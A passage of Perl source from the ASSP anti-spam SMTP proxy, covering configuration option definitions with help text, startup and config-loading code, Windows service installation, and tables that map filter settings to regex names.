['AutoReloadCfg','Automatic Reload ConfigFile',0,\&checkbox,'','(.*)',undef,'If selected and the assp.cfg file is changed externaly, ASSP will reload the configuration from the file.'],
['asspCfgVersion','assp.cfg version',40,\&textnoinput,'','(.*)',undef,'This is the current assp.cfg version.'],

['proxyserver','Proxy Server',20,\&textinput,'','(\S*)',undef,'The Proxy Server to use when uploading global statistics and downloading the greylist.<p><small><i>Examples:</i> 192.168.0.1:8080, 192.168.0.1</small></p>'],
['proxyuser','Proxy User',20,\&textinput,'','(\S*)',undef,'The Proxy-UserName that is used to authenticate to the proxy.'],
['proxypass','Proxy Password',20,\&passinput,'','(\S*)',undef,'The password for Proxy-UserName that is used to authenticate to the proxy.'],

['OutgoingBufSizeNew','Size of TCP/IP Buffer',10,\&textinput,10240000,'(\d+)',undef,
 'If ASSP talks to the internet over a modem change this to 4096.'],

['HouseKeepingSchedule','Schedule time for HouseKeeping',50,\&textinput,'3','(\d+)','configChangeHKSched','ASSP uses the scheduled hour to run cache-housekeeping. For example \'3\' will run cache-housekeeping at 3.00. Use 24 to run it at midnight.'],
['totalizeSpamStats','Upload Consolidated Spam Statistics',0,\&checkbox,1,'(.*)',undef,
 'ASSP will upload its statistics to be consolidated with the <a href="http://assp.sourceforge.net/cgi-bin/assp_stats?stats" rel="external">global ASSP totals</a>. This is a great marketing tool for the ASSP project &mdash; please do not disable it unless you have a good reason to do so. No private information is being disclosed by this upload.',undef,undef,'msg007800','msg007801'],
['ReloadOptionFiles','Reload Option Files Interval',10,\&textinput,'60','(\d+)',undef,
  'If set not to zero, ASSP reloads configuration option files (file:.....) every this many seconds if they have changed externally.'],
['OrderedTieHashTableSize','Ordered-Tie Hash Table Size',10,\&textinput,5000,'(\d+)',undef,
 'The number of entries allowed in the hash tables used by ASSP and rebuildspamdb.pl. Larger numbers require more more RAM but result in fewer disk hits. The default value is 10000. Adjust down to use less RAM.'],


['ALARMtimeout','Module Call Timeout',5,\&textinput,10,'(\d+)',undef,'Global Timeout for calling other modules.'],

['UseLocalTime','Use Local Time',0,\&checkbox,1,'(.*)',undef,
  'Use local time and timezone offset rather than UTC time in the mail headers.<br /><hr />
  <div class="menuLevel1">Notes On Server Setup</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/myserver.txt\',3);" />'],


[0,0,0,'heading','Rebuild SpamDB'],
['AutoUpdateREBUILD','Auto Update rebuildspamdb.pl','0:no auto update|1:download only|2:download and install',\&listbox,'2','(.*)',undef,
 'No action will be done if \'no auto update\' is selected or AutoUpdateASSP is disabled.<br />
  If \'download only\' is selected and a new assp version is available, the newest rebuildspamdb.pl will be downloaded to the directory ' . $base . '/download .<br />
  If \'download and install\' is selected, the old rebuildspamdb.pl will be saved to download directory (rebuildspamdb.pl_old) and replaced by the new version.<br />

  The perl module <a href="http://search.cpan.org/dist/Compress-Zlib/" rel="external">Compress::Zlib</a> is required to use this feature.'],
['RebuildSchedule','Schedule time for RebuildSpamdb',50,\&textinput,'4','(.*)|','configChangeRBSched','If not set to 0 ASSP uses scheduled hours to run RebuildSpamdb.pl. For example \'6|18\' will run rebuildspamdb.pl at 6.00 and 18.00. Use 24 to run it at midnight. \'*\' will schedule it every hour.  \'*/n\' will schedule it every n hour.<input type="button" value=" Last SpamDB Rebuild" onclick="return popFileEditor(\'rebuildrun.txt\',8);" /> '],
['RebuildCmd','OS-shell command for AutoRestart',100,\&textinput,'','(.*)',undef,'The OS level shell-command that is used to start rebuildspamdb.pl, if it runs not as a separate task. A possible value for your system is:<br /><font color=blue>'.$dftrebuildcmd.'</font><br />You may overwrite it with your own script. Note that the parm \'silent\' must be used. For example to run as user root: su -m assp -c "/usr/bin/perl /usr/local/share/assp/rebuildspamdb.pl
/var/db/assp silent &"'],
['RebuildNow','Run RebuildSpamdb Now',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow', "If selected, ASSP will run RebuildSpamdb.pl now. <input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />"],
['RebuildNotify','Notification Email To',80,\&textinput,'','(.*)',undef,
  'Email address(es) to which you want ASSP to send a notification email after the rebuild task is finished. Separate multiple entries by "|". If empty no notify will take place. This requires an installed Email::Send module in PERL.'],



['MaxNoBayesFileAge','Max Age of non Bayes Files',5,\&textinput,31,'(\d+)',undef,
  'The maximum file age in days of every file in every non bayesian collection folder ( incomingOkMail , discarded , viruslog ). If defined and a file is older than this number in days, the file will be deleted. '],

['MaxKeepDeleted','Max Days of Keep Deleted',5,\&textinput,7,'(\d+)',undef,
  'The maximum number in days deleted files in the bayesian collection folders ( spamlog , notspamlog ) will be kept. This is necessary when EmailBlockReport is used to handle the file and the file is meanwhile deleted. The list of files that are maked for deletion is stored in trashlist.db .',undef,undef,'msg008650','msg008651'],
['autoCorrectCorpus','Automatic Corpus Correction','0:disabled|1:standard|0.7:soft',\&listbox,1,'(.*)',undef,
  'Setting this to standard will correct the spamdb to a norm of 1, soft will correct to 0.7 which let more mails pass the bayesian check.'],
['BayesianStarterDB','Bayesian Starter Database ',40,\&textinput,'starterdb/spamdb','(\S+)',undef,'A ready to use spamdb which can be used alone ore together with your local spamdb. It must be placed in folder "assp/starterdb" <a href="http://sourceforge.net/projects/assp/files/ASSP%20Installation/Spam%20Collection/spamdb.zip" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="sourceforge.net/projects/assp/files/ASSP%20Installation/Spam%20Collection/spamdb.zip"</a>'],
['BayesianStarterDownloadNow','Run BayesianStarterDownload Now',0,\&checkbox,'','(.*)','ConfigChangeRunTaskNow', "If selected, ASSP will download the BayesianStarterDB right away. <input type=button value=\"Run Now!\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />&nbsp;<input type=button value=\"Refresh Browser\" onclick=\"document.forms['ASSPconfig'].theButtonRefresh.value='Apply Changes';document.forms['ASSPconfig'].submit();WaitDiv();return false;\" />"],
['MaxCorrectedDays','Max Corrected File Age',5,\&textinput,'1000','(\d+)',undef,'This is the number of days a error report will be kept in the correctednotspam and correctedspam folders.<br /><hr />
  <div class="menuLevel1">Notes On Rebuild</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/rebuild.txt\',3);" /> '],
[0,0,0,'heading','POP3 Collecting'],
['POP3ConfigFile','POP3 Configuration File*',80,\&textinput,'file:files/pop3cfg.txt','(file\:.+)','ConfigChangePOP3File',
  'The file with a valid POP3 configuration. Only the file: option is allowed to use. <br />
  If the file exists and contains at least one valid POP3 configuration line and POP3Interval is configured, assp will collect the messages from the configured POP3-servers. <br />
  Each line in the config file contains one configuration for one user.<br />
  All spaces will be removed from each line.<br />
  Anything behind a # or ; is consider a comment.<br />
  If the same POP3-user-name is used mutiple times, put two angles with a unique number behind the user name. The angles and the number will be removed while processing the configuration.<br />
  e.g: pop3user&lt;1&gt; will result in pop3user  -  or  - myName@pop3.domain&lt;12&gt; will result in myName@pop3.domain<br />
  It is possible to define commonly used parameters in a separate line, which begins with the case sensitive POP3-username "COMMON:=" - followed by the parameters that should be used for every configured user.<br />
  A commonly set parameter could be overwritten in every user definition.<br />
  Each configuration line begins with the POP3-username followed by ":=" : e.g myPOP3userName:=<br />
  This statement has to followed by pairs of parameter names and values which are separated by commas - the pairs inside are separated by "=". <br />
  e.g.: POP3username<num>:=POP3password=pop3_pass,POP3server=mail.gmail.com,SMTPsendto=demo@demo_smtp.local,......<br />
  The following case sensitive keywords are supported in the config file:<br /><br />
  POP3password=pop3_password<br />
  POP3server=POP3-server or IP[:Port]<br />
  SMTPsender=email_address<br />
  SMTPsendto=email_address or &lt;TO:&gt; or &lt;TO:email_address&gt;<br />
  SMTPserver=SMTP-server[:Port]<br />
  SMTPHelo=myhelo<br />
  SMTPAUTHuser=smtpuser<br />
  SMTPAUTHpassword=smtppass<br />
  POP3SSL=0/1<br /><br />
  POP3SSL, SMTPHelo, SMTPsender, SMTPAUTHuser and SMTPAUTHpassword are optional.<br />
  If POP3SSL is set to 1 - POP3S will be done! The Perl module <a href="http://search.cpan.org/search?query=IO::Socket::SSL" rel="external">IO::Socket::SSL</a> is required for POP3S!<br />
  If SMTPsender is not defined, the FROM: address from the header line will be used - if this is not found the POP3username will be used.<br />
  If the &lt;TO:&gt; syntax is used for SMTPsendto, the mail will be sent to any recipient that is found in the "to: cc: bcc:" header lines if it is a local one.<br />
  If the &lt;TO:email_address&gt; syntax is used for SMTPsendto, the literals NAME and/or DOMAIN will be replaced by the name part and/or domain part of the addresses found in the "to: cc: bcc:" header lines. This makes it possible to collect POP3 mails from a POP3 account, which holds mails for multiple recipients.<br />
  For example: &lt;TO:NAME@mydomain.com&gt;  or  &lt;TO:NAME@subdomain.DOMAIN&gt;  or  &lt;TO:central-account@DOMAIN&gt;<br />
  If the &lt;TO:&gt; or &lt;TO:email_address&gt; syntax is used for SMTPsendto, "localDomains" and/or "localAdresses_Flat" must be configured to prevent too much error for wrong recipients defined in the "to: cc: bcc:" header lines. The POP3collector will not do any LDAP or VRFY query!<br />
  If you want assp to detect SPAM, use the listenPort or listenPort2 as SMTP-server.<br />
  To use this feature, you have to install the perl script "assp_pop3.pl" in the assp-base directory.',undef,undef,'msg009070','msg009071'],
['POP3Interval','POP3 Collecting Interval',4,\&textinput,0,'(\d+)',undef,'The interval in minutes, assp should collect messages from the configured POP3-servers. A value of zero disables this feature.'],
['POP3KeepRejected','POP3 Keep Rejected Mails on POP3 Server',0,\&checkbox,'','(.*)',undef, 'If selected, any collected POP3 mail that fails to be sent via SMTP will be kept on the POP3 server.'],
['POP3debug','POP3 debug',0,\&checkbox,'','(.*)',undef, 'If selected, the POP3 collection will write debug output to the log file. Do not use it, unless you have problems with the POP3 collection!
  <div class="menuLevel1">Notes On POP3 collecting</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/pop3collect.txt\',3);" />',undef,undef,'msg009090','msg009091']


);
$Config{AsASecondary} = "";

 
 
my $i = 0; 
foreach (@Config) { 
  $Config[$i]->[0] =~ s/\r?\n//g; 
  $Config[$i]->[1] =~ s/\r?\n//g; 
  $Config[$i]->[2] =~ s/\r?\n//g; 
  $Config[$i]->[3] =~ s/\r?\n//g; 
  $Config[$i]->[4] =~ s/\r?\n//g; 

  $i++; 
}
sub strip50 {
            $_[0] = substr($_[0],0,20). '.....'. substr($_[0],length($_[0])-20,20) if (length($_[0]) > 50);
}

sub timestring {
    my ($time,$what,$format) = @_;
    my $plus;
    if ($time > 9999999999) {
        $time -= 9999999999;
        $plus = '+';
    }
    my @m = $time ? localtime($time) : localtime();
    my $day = substr($Day_to_Text[$LogDateLang][$m[6]-1],0,3);
    my $month = substr($Month_to_Text[$LogDateLang][$m[4]],0,3);
    Encode::from_to($day,'ISO-8859-1','UTF-8') if $day;
    Encode::from_to($month,'ISO-8859-1','UTF-8') if $month;
    $format = $LogDateFormat unless $format;
    if (lc $what eq 'd') {   # date only - remove time part from format
        $format =~ s/[^YMD]*(?:hh|mm|ss)[^YMD]*//go;
    } elsif (lc $what eq 't') { # time only - remove date part from format
        $format =~ s/[^hms]*(?:Y{2,4}|M{2,3}|D{2,3})[^hms]*//go;
    }
    $format =~ s/^[^YMDhms]//o;
    $format =~ s/[^YMDhms]$//o;
    $format =~ s/\s+/ /go;
    $format =~ s/YYYY/sprintf("%04d",$m[5]+1900)/eo;
    $format =~ s/YY/sprintf("%02d",$m[5]-100)/eo;
    $format =~ s/MMM/$month/o;
    $format =~ s/MM/sprintf("%02d",$m[4]+1)/eo;
    $format =~ s/DDD/$day/o;
    $format =~ s/DD/sprintf("%02d",$m[3])/eo;
    $format =~ s/hh/sprintf("%02d",$m[2])/eo;
    $format =~ s/mm/sprintf("%02d",$m[1])/eo;
    $format =~ s/ss/sprintf("%02d",$m[0])/eo;

    if ($format && $LogCharset && $LogCharset !~ /^utf-?8/io) {
        eval{
        Encode::_utf8_on($format);
        $format = Encode::encode($LogCharset, $format);
        };
    }
	
    return $plus.$format;
}

sub timeval {
    my $timestring = shift;
    my ($y,$mo,$d,$h,$m,$s) = split(/[\s\-:,]+/o,$timestring);
    my $plus = ($y =~ s/^\+//o) ? 1 : 0;
    $y -= 1900;
    $mo -= 1;
    eval{$timestring = Time::Local::timelocal($s, $m, $h, $d, $mo, $y);};
    mlog(0,"error: incorrect date/time - $timestring - used in GUI - $@") if $@;
    return $@ ? '0000000000' : $timestring + $plus * 9999999999;
}

sub writeExceptionLog {
    my $text = shift;
    my $m = &timestring();
	print "$m $text\n";
    open( my $EX, '>>',"$base/exception.log" );
    print $EX "$m $text\n";
    close $EX;
    1;
}

sub ftime { [stat($_[0])]->[9]; }

sub ASSPisRunning {
    my $pid = shift;
    if ($^O eq 'MSWin32') {
    
    	my @tasks = `tasklist /v /nh`;
    	if (@tasks) {
        	return 1 if (grep(/perl[^\n]+? $pid /,@tasks));
        	return 0;
    	}

    	return 1 if (kill 0, $pid);
    	return 0;
    } else {

    	return 1 if (kill 0, $pid);
    	return 0;
    }
    
}

sub setLocalCharsets {
    $Charsets = '0:System Default|';
    $defaultLogCharset = 0;
    foreach (Encode->encodings(':all')) {
        $Charsets .= $_ . ':' . $_ . '|' if $_ !~ /mime|symbol|null|nextstep/io;
        $defaultLogCharset = $_ if ($^O ne 'MSWin32' &&
                                    $defaultLogCharset !~ /^utf-?8/io &&
                                    $_ =~ /^utf-?8/io);
    }
    chop $Charsets;
}

sub setClamSocket {
    
    $defaultClamSocket = "3310";
    $defaultClamSocket = "/var/run/clamav/clamd.ct"	if $^O ne 'MSWin32';
    $defaultClamSocket = "/private/tmp/clamd"	if $^O eq 'darwin';

}

# imported from IO :: Socket version 1.30_01 to handle MSWIN32 blocking mode
# modified by Thomas Eckardt to use a real long pointer
sub assp_blocking {
    my $sock = shift;

    return $sock->SUPER::blocking(@_)
        if $^O ne 'MSWin32';

    # Windows handles blocking differently
    #
    # http://groups.google.co.uk/group/perl.perl5.porters/browse_thread/thread/b4e2b1d88280ddff/630b667a66e3509f?#630b667a66e3509f
    # http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/winsock/ioctlsocket_2.asp
    #
    # http://www.perlmonks.org/?node_id=780083   /TE
    #
    # 0x8004667e is FIONBIO
    #
    # which is used to set blocking behaviour.

    # NOTE:
    # This is a little confusing, the perl keyword for this is
    # 'blocking' but the OS level behaviour is 'non-blocking', probably
    # because sockets are blocking by default.
    # Therefore internally we have to reverse the semantics.

    my $orig= !${*$sock}{io_sock_nonblocking};

    return $orig unless @_;

    my $block = shift;

    my $nonblocking = "\x00\x00\x00\x01"; # pack("L",1) works too
    my $blocking = "\x00\x00\x00\x00"; # pack("L",0) works too
    my $FIONBIO = 0x8004667e;

    if ( !$block != !$orig ) {
        ${*$sock}{io_sock_nonblocking} = $block ? $blocking : $nonblocking;
        ioctl($sock, $FIONBIO, unpack('I',pack('P',${*$sock}{io_sock_nonblocking})))
            or return;
    }

    return $orig;
}


sub assp_parse_attributes { 
    local $_ = shift; 
    my $attribs = {}; 
    my $tspecials = quotemeta '()<>@,;:\\"/[]?='; 
    while ($_) { 
        s/^;//; 
        s/^\s+// and next; 
        s/\s+$//; 
        unless (s/^([^$tspecials]+)=//) { 
          # We check for $_'s truth because some mail software generates a 
          # Content-Type like this: "Content-Type: text/plain;" 
          # RFC 1521 section 3 says a parameter must exist if there is a 
          # semicolon. 
#          mlog(0,"Illegal Content-Type parameter $_") if $_; 
		  return $attribs; 
        } 
        my $attribute = lc $1; 
        my $value = assp_extract_ct_attribute_value(); 
        $attribs->{$attribute} = $value; 
    } 
    return $attribs; 
} 
# substitute for Email::MIME::ContentType::_extract_ct_attribute_value
# to prevent carping

sub assp_extract_ct_attribute_value {
    my $value;
    my $tspecials = quotemeta '()<>@,;:\\"/[]?=';
    my $extract_quoted =
        qr/(?:\"(?:[^\\\"]*(?:\\.[^\\\"]*)*)\"|\'(?:[^\\\']*(?:\\.[^\\\']*)*)\')/;
     
     while ($_) {
        s/^([^$tspecials]+)// and $value .= $1;
        s/^($extract_quoted)// and do {
            my $sub = $1; $sub =~ s/^["']//; $sub =~ s/["']$//;
            $value .= $sub;
        };
        /^;/ and last;
        /^([$tspecials])/ and do {
#            mlog(0,"info: malformed MIME content detected - unquoted $1 not allowed in Content-Type!");
            return;
        }
    }
    return $value;
}

sub installService {
  eval(<<'EOT') or print "error: $@\n)";
use Win32::Daemon;
my $p;
my $p2;
my %Hash;

if(lc $_[0] eq '-u') {
    system('cmd.exe /C net stop ASSPSMTP');
    sleep(1);
    Win32::Daemon::DeleteService('','ASSPSMTP') ||
      print "Failed to remove ASSP service: " . Win32::FormatMessage( Win32::Daemon::GetLastError() ) . "\n" & return;
    print "Service ASSPSMTP successful removed\n";
} elsif( lc $_[0] eq '-i') {
    unless($p=$_[1]) {
        $p=$0;
        $p=~s/\w+\.pl/assp.pl/;
    }
    if($p2=$_[2]) {
        $p2=~s/[\\\/]$//;
    } else {
        $p2=$p; $p2=~s/[\\\/]assp\.pl//i;
    }
    %Hash = (
        name    =>  'ASSPSMTP',
        display =>  'Anti-Spam Smtp Proxy',
        path    =>  "\"$^X\"",
        user    =>  '',
        pwd     =>  '',
        parameters => "\"$p\" \"$p2\"",
      );
    if( Win32::Daemon::CreateService( \%Hash ) ) {
        print "ASSP service successfully added.\n";
    } else {
        print "Failed to add ASSP service: " . Win32::FormatMessage( Win32::Daemon::GetLastError() ) . "\n";
        print "Note: if you're getting an error: Service is marked for deletion, then
close the service control manager window and try again.\n";
    }
}
1;
EOT
print "error: $@\n)" if ($@);
}


 # allow override for default web admin port
 if ( $ARGV[1] =~ /^\d+$/ ) {
      foreach (@Config) {
            if ( $_->[0] eq 'webAdminPort' ) {
                $_->[4] = $ARGV[1];
                last;
            }
        }
 }

 if (lc($ARGV[1]) eq '-i' && $^O eq "MSWin32") {
     my $assp = $0;
     $assp = "$base\\$0" if ($assp !~ /\Q$base\E/i);
     $assp =~ s/\//\\/g;
     my $asspbase = $base;
     $asspbase =~ s/\\/\//g;
     &installService('-i' , $assp, $asspbase);
     exit;
 } elsif (lc($ARGV[0]) eq '-u' && $^O eq "MSWin32") {
     &installService('-u');
     exit;
 };
 
 -d "$base/lib" or mkdir "$base/lib", 0755;
 unshift @INC, "$base/lib" unless grep(/\Q$base\E\/lib/,@INC);

 # load configuration file
 rename ("$base/assp.cfg.tmp","$base/assp.cfg") if (! -e "$base/assp.cfg" && -e "$base/assp.cfg.tmp");
 unlink("$base/assp.cfg.tmp");
 open($CFG,'<',"$base/assp.cfg")
 or writeExceptionLog("warning: unable to open $base/assp.cfg for reading - will retry or try to use backup config files!");
 if (! $CFG ) {
     (open($CFG,'<',"$base/assp.cfg") and writeExceptionLog("info: $base/assp.cfg was used!")) or
     (open($CFG,'<',"$base/assp.cfg.bak") and writeExceptionLog("warning: $base/assp.cfg.bak was used!")) or
     (open($CFG,'<',"$base/assp.cfg.bak.bak") and writeExceptionLog("warning: $base/assp.cfg.bak.bak was used!")) or
     (open($CFG,'<',"$base/assp.cfg.bak.bak.bak") and writeExceptionLog("warning: $base/assp.cfg.bak.bak.bak was used!")) or
     writeExceptionLog("warning: unable to open any config file - default config values will be used!");
 }
 
 if ($CFG) {
     while (<$CFG>) {
         s/\r|\n//go;
         s/^$UTFBOMRE//o;
         my ($k,$v) = split(/:=/o,$_,2);
         next unless $k;
         $Config{$k} = $v;
     }
     close $CFG;
 }


 foreach (@ARGV) {
     next unless $_ =~ /^--([a-zA-Z0-9_]+)?:=(.*)$/o;
     my ($k,$v) = ($1,$2);
     if (exists $Config{$k}) {
         $Config{$k} = $v;
         print "\ninfo: config parameter '$k' was set to '$v'\n" if !$Config{AsASecondary};
     } elsif (defined ${$1}) {
         ${$1} = $2;
         print "\ninfo: internal variable '$k' was set to '$v'\n";
     } else {
         print "\nwarning: unknown parameter '$k' used at command line '$_'\n";
         writeExceptionLog("warning: unknown parameter '$k' used at command line '$_'");
     }
 }
 
# check if assp is still running;
 if (!$Config{AsASecondary} && $Config{NoMultipleASSPs} && ! $^C && $Config{pidfile} && (open my $PIDf,'<' ,"$base/$Config{pidfile}")) {
    my $pid = <$PIDf>;
    close $PIDf;
    $pid =~ s/\r|\n|\s//go;
    if (&ASSPisRunning($pid))
        
    {
        my $time = &timestring();
        writeExceptionLog("Abort: ASSP is still running with PID: $pid - (or delete file $base/$Config{pidfile})");
        die "\n$time Abort: ASSP is still running with PID: $pid - (or delete file $base/$Config{pidfile})\n\n";
    }
 }
# check if assp is still running;
 if ($Config{AsASecondary}  && ! $^C && $Config{pidfile} && (open my $PIDf,'<' ,"$base/$Config{pidfile}". "_Secondary")) {
    my $pid = <$PIDf>;
    close $PIDf;
    $pid =~ s/\r|\n|\s//go;
    my ($SecondaryPid,$webPort) = $pid =~ /(.*)\:(.*)/;
    if (&ASSPisRunning($SecondaryPid))
        
    {
    my $pidfile = "$Config{pidfile}". "_Secondary";
	my $time = &timestring();

	die "\n$time Abort: ASSP Secondary still running with PID: $pid - (or delete file $base/$pidfile)\n\n";

    }
 }
 sleep 5;
# set nonexistent settings to default values
my %cfgHash = ();
foreach my $c (@Config) {
        if ( $c->[0] && !( exists $Config{ $c->[0] } ) ) {
            $Config{ $c->[0] } = $c->[4];
            $newConfig{$c->[0]} = 1;
        }

  		print "!!!!!!!! duplicate entry for $c->[0] !!!!!!!!\n" if $c->[0] && exists($cfgHash{$c->[0]});
  		$cfgHash{$c->[0]} = 1;
}

    while ( my ( $k, $v ) = each %Config ) {
        my $defConfVar =
          "use vars qw\(\$" . $k . "\); push \@EXPORT,qw(\$" . $k . ");";
        eval($defConfVar);
    }

    use vars qw($hConfig);
    push @EXPORT, qw($hConfig);
    use vars qw($aConfig);
    push @EXPORT, qw($aConfig);
    $hConfig = \%Config;
    $aConfig = \@Config;
    push @EXPORT, qw($mydb $base $wikiinfo);
    $base =~ s/\\/\//g;
 	$Config{base} = $base;
 	push @INC,$base;
 	
	


}    # end BEGIN


GPBSetup();
our %locals = ( '127', 1, '10', 1, '192.168', 1, '169.254', 1 );    #RFC 1918
for ( 16 .. 31 ) { $locals{"172.$_"} = 1 }                          #RFC 1918
our $starttime = localtime(time);
our %MakeIPRE  = (
    'ispip'                         => 'ISPRE',
    'allowAdminConnectionsFrom'     => 'ACFRE',
    'allowRelayCon'                 => 'ALRCRE',
    'allowStatConnectionsFrom'      => 'SCFRE',
    'acceptAllMail'                 => 'AMRE',
	'noBlockingIPs'                 => 'NBIPRE',
    'noLog'                         => 'NLOGRE',
    'noDelay'                       => 'NDRE',
    'noSRS'                         => 'NSRSRE',
    'noHelo'                        => 'NHRE',
    'noRBL'                         => 'NRBLRE',
	'noRWL'                         => 'NRWLRE',
    'noPB'                          => 'NPBRE',
    'noGRIP'                        => 'NGRIPRE',
    'noMsgID'                       => 'NMIDRE',
    'noPBwhite'                     => 'NPBWRE',
    'noExtremePB'                   => 'NEXPBRE',
    'noScanIP'                    	=> 'NSIPRE',
    'noSpoofingCheckIP'             => 'NSCRE',
    'whiteListedIPs'                => 'WLIPRE',
    'noProcessingIPs'               => 'NPIPRE',
    'noMaxSMTPSessions'             => 'NMIPRE',
    
    'exportExtremeBlack'            => 'EEFRE',
    'denySMTPConnectionsFrom'       => 'DSMTPCFRE',
    'noBackSctrIP'                  => 'NOBSIP',
    'denySMTPConnectionsFromAlways' => 'DSMTPCFARE',
    'noTLSIP'                       => 'NOTLSIP',
    'URIBLIPRe'                     => 'URIBLIPRE',

    'allowProxyConnectionsFrom'     => 'APCRE',

);

our %MakeSLRE = (
	'spamLovers'           		=> 'SLRE',
    'spamHaters'           		=> 'SHRE',
    'EmailSenderOK'             => 'ESOKRE',
    'EmailAdmins'               => 'MADM',
    'EmailErrorsModifyPersBlack' 	=> 'EMEMPB',
    'EmailErrorsModifyNotPersBlack' => 'EMEMNPB',
    'EmailSenderNotOK'          => 'ESNOKRE',
    'EmailSenderIgnore'    		=> 'ESIGNRE',
    'EmailSenderNoReply'    	=> 'ESNR',
    'InternalAddresses'         => 'IARE',
    'NullAddresses'             => 'NARE',
    'LocalAddresses_Flat'       => 'LAFRE',
    'MSGIDsigAddresses'         => 'MSGARE',
    'SRSno'                     => 'SRSNRE',
    'atSpamLovers'              => 'ATSLRE',
    'baysSpamHaters'            => 'BSHRE',
    'baysSpamLovers'            => 'BSLRE',
    'mxaSpamLovers'        		=> 'MXASLRE',
    'ptrSpamLovers'        		=> 'PTRSLRE',
    'baysTestModeUserAddresses' => 'BSLTESTUSERRE',
    'weightedAddresses'       		=> 'BLARE',
    'blSpamLovers'              => 'BLSLRE',    
    'BlockResendLinkLeft'  		=> 'BRLL',
    'BlockResendLinkRight' 		=> 'BRLR',
    'bombSpamLovers'            => 'BOSLRE',
    'blackSpamLovers'           => 'BOBSLRE',
    'RejectTheseLocalAddresses' => 'BOUNCELOCALADDRRE',
    'ccHamFilter'               => 'CCARRE',
    'ccSpamAlways'              => 'CCARE',
    'ccSpamFilter'              => 'CCRE',
    'ccnHamFilter'              => 'CCARNRE',
    'ccnSpamFilter'             => 'CCNRE',

    'hiSpamLovers'              => 'HISLRE',
    'hlSpamHaters'              => 'HLSHRE',
    'hlSpamLovers'              => 'HLSLRE',
    'isSpamLovers'              => 'ISSLRE',

    'noBackSctrAddresses'       => 'NBSARE',
    'noBayesian'                => 'NBRE',
    'noBayesian_local'     		=> 'NBLRE',
    'yesBayesian_local'     		=> 'YBLRE',
    'noBombScript'              => 'NBSRE',
    'noBlackDomain'             => 'NBDRE',
    'noCollecting'              => 'NCAREL',
    'noDelayAddresses'     		=> 'NDARE',

    'noMaxSize'					=> 'NMSRE',
    'LocalFrequencyOnly'   		=> 'LFRO',
    'NoLocalFrequency'     		=> 'NLFR',
    'noPenaltyMakeTraps'        => 'NTRRE',
    'noProcessing'              => 'NPREL',
    'noNoProcessing'            => 'NNPREL',
    'noProcessingFrom'          => 'NPFREL',
    'noScan'                    => 'NSRE',
    'noSpoofingCheckDomain'     => 'NSPRE', 
       
    'noURIBL'                   => 'NURIBLRE',
    'pbSpamLovers'              => 'PBSLRE',
    'pbSpamHaters'              => 'PBSHRE',
    'spfSpamLovers'        		=> 'SPFSLRE',
    'rblSpamHaters'             => 'RBLSHRE',
    'rblSpamLovers'             => 'RBLSLRE',
    'sbSpamLovers'              => 'SBSLRE',
    'ScoreTheseLocalAddresses'  => 'SCORELOCALADDRRE',
    'spamFriends'               => 'SFRE',
    'spamFoes'               	=> 'SFORE',
    'spamHaters'                => 'SHRE',
    'spamLovers'                => 'SLRE',
    'spamaddresses'             => 'SARE',
    'spamtrapaddresses'         => 'STRE',

    'srsSpamLovers'             => 'SRSSLRE',
    'strictSpamLovers'          => 'STTSLRE',
    'spamLoverSubjectSelected'  => 'SUSLRE',
    'uriblSpamLovers'           => 'URIBLSLRE',
    'WhitelistOnlyAddresses'	=> 'WLORE',
    'noExtremePBAddresses' => 'NEXPBARE'


);
our %preMakeRE = (          # all RE that are not in %MakeIPRE and %MakeSLRE

      'BLDRE' => 'blackListedDomains',
    'BSRE' => 'BounceSenders',
    'BlockReportFilterRE' => 1,
    'CountryCodeBlockedReRE' => 1,
    'CountryCodeReRE' => 1,
    'FileScanBadRE' => 1,
    'FileScanGoodRE' => 1,
    'FileScanRespReRE' => 1,
    'HBIRE' => 'heloBlacklistIgnore',
    'IPDWLDRE' => 'maxSMTPdomainIPWL',
    'LDRE' => 'localDomains',
    'LHNRE' => 'myServerRe',
    'MyCountryCodeReRE' => 1,
    'NPDRE' => 'noProcessingDomains',
    'NoCountryCodeReRE' => 1,
    'NoNotifyReRE' => 1,
    'NoScanReRE' => 1,
    'NotifyReRE' => 1,
    'SpamLoversReRE' => 1,
    'SuspiciousVirusRE' => 1,
    'TLDSRE' => 1,
    'URIBLCCTLDSRE' => 'URIBLCCTLDS',
    'URIBLWLDRE' => 'URIBLwhitelist',
    'VFRTRE' => 'VRFYforceRCPTTO',
    'WLDRE' => 'whiteListedDomains',
    'allLogReRE' => 1,
    'badattachL1RE' => 1,
    'badattachL2RE' => 1,
    'badattachL3RE' => 1,
    'baysSpamLoversReRE' => 1,
    'blackReRE' => 1,
    'blackSenderBaseRE' => 1,
    'blockstrictSPFReRE' => 1,
    'bombCharSetsRE' => 1,
    'bombDataReRE' => 1,
    'bombHeaderReRE' => 1,
    'preHeaderReRE' => 1,
    'bombReRE' => 1,
    'bombSenderReRE' => 1,
    'bombSubjectReRE' => 1,
    'bombSuspiciousReRE' => 1,
    'ccSpamNeverReRE' => 1,
    'contentOnlyReRE' => 1,
    'debugReRE' => 1,
    'goodattachRE' => 1,
    'invalidFormatHeloReRE' => 1,
    'invalidMsgIDReRE' => 1,
    'invalidPTRReRE' => 1,
    'ispHostnamesRE' => 1,
    'noLogReRE' => 1,
    'noLogLineReRE' => 1,
    'noSPFReRE' => 1,
    'npReRE' => 1,
    'redReRE' => 1,
    'scriptReRE' => 1,
    'strictSPFReRE' => 1,
    'testReRE' => 1,
    'validFormatHeloReRE' => 1,
    'validMsgIDReRE' => 1,
    'validPTRReRE' => 1,
    'whiteReRE' => 1,
    'whiteSenderBaseRE' => 1,
    'AllowedDupSubjectReRE' => 1,
    'noMSGIDsigReRE' => 1,
    'noCollectReRE' => 1,
    'noBackSctrReRE' => 1,
    'ASSP_AFCDetectSpamAttachReRE' => 1
);


our %TestModeRE = (
    'attachTestMode'     => 'DoBlockExes',
    'baysTestMode'       => 'DoBayesian',
